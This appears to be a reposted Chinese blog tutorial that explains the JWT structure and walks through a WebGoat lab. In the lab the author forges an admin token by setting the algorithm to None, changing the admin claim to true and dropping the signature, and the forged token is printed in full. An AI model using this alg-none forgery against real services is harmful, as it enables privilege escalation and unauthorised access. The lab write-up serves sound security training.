JWT偽造攻擊


JWT修改偽造攻擊

什么是JWT?

JSON Web Token(JSON Web令牌)是一種跨域驗證身份的方案。JWT不加密傳輸的數據,但能夠通過數字簽名來驗證數據未被篡改(但是做完下面的WebGoat練習后我對這一點表示懷疑)。

 

 

JWT分為三部分,頭部(Header),聲明(Claims),簽名(Signature),三個部分以英文句號.隔開。JWT的內容以Base64URL進行了編碼。

頭部(Header)

{

"alg":"HS256",

"typ":"JWT"

}

alg

是說明這個JWT的簽名使用的算法的參數,常見值用HS256(默認),HS512等,也可以為None。HS256表示HMAC SHA256。

typ

說明這個token的類型為JWT

聲明(Claims)

{

"exp": 1416471934,

"user_name": "user",

"scope": [

"read",

"write"

],

"authorities": [

"ROLE_ADMIN",

"ROLE_USER"

],

"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",

"client_id": "my-client-with-secret"

}

JWT固定參數有:

iss:發行人

exp:到期時間

sub:主題

aud:用戶

nbf:在此之前不可用

iat:發布時間

jti:JWT ID用於標識該JWT

簽名(Signature)

服務器有一個不會發送給客戶端的密碼(secret),用頭部中指定的算法對頭部和聲明的內容用此密碼進行加密,生成的字符串就是JWT的簽名。

下面是一個用HS256生成JWT的代碼例子

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

1、用戶端登錄,用戶名和密碼在請求中被發往服務器

2、(確認登錄信息正確后)服務器生成JSON頭部和聲明,將登錄信息寫入JSON的聲明中(通常不應寫入密碼,因為JWT是不加密的),並用secret用指定算法進行加密,生成該用戶的JWT。此時,服務器並沒有保存登錄狀態信息。

3、服務器將JWT(通過響應)返回給客戶端

4、用戶下次會話時,客戶端會自動將JWT寫在HTTP請求頭部的Authorization字段中

5、服務器對JWT進行驗證,若驗證成功,則確認此用戶的登錄狀態

6、服務器返回響應

 

 

實戰

Javaweb-身份驗證攻擊-JWT修改偽造攻擊:

靶場:WebGoat

 

 

 

 

目標拿到admin權限

抓包

 

 

 

從token下手:

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDA4Mzg1NzcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.6LQdiVbn14pCBdpXRj5M1thjCw9pDpq2IrGKBkbS-F5uSjaj8G3ei3z7B6s4UJanp1lGN8LfsA2EIcR5lsHung

 

jwt轉換網站:

https://jwt.io/#encoded-jwt

 

 

 

但是這里用bur的base64就可以了

 

原來的頭部:

 

 

 

改為:

1.錯誤的方法

 

 

 

eyJhbGciOiJOb25lIn0=

 

正確的方法:

 

 

 

ewogICJhbGciOiAiTm9uZSIKfQ==

聲明  把false 改為true

 

 

 

拼接起來,因為把加密方式改為了None,所以最后的簽名為空

 

ewogICJhbGciOiAiTm9uZSIKfQ==.ewogICJpYXQiOiAxNjAwODM4NTc3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=.

 

在HTTP傳輸過程中,Base64編碼中的"=","+","/"等特殊符號通過URL解碼通常容易產生歧義,因此產生了與URL兼容的Base64 URL編碼

即把編碼中的"=","+","/"等特殊符號刪掉也是兼容的

ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjAwODM4NTc3LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

 

成功通關

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM